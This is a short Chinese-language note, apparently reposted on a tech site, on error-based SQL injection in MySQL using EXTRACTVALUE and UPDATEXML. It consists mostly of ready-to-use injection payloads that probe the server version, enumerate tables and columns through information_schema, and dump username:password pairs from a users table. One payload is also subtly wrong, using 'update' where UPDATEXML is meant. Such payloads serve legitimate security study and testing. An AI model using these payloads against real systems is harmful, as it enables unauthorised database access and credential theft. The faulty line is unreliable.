SQL注入笔记-updatexml与extractvalue


0x1介绍
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数

EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);

两个函数的返回长度有限,均为32个字符长度
0x2注入
Payload:

or extractvalue(1, concat(0x7e, version())) or ''
or update(1, concat(0x7e, version()), 1) or ''

0x3提取数据:
爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''
爆数据:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''
updatexml的注入方式也是一样的


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM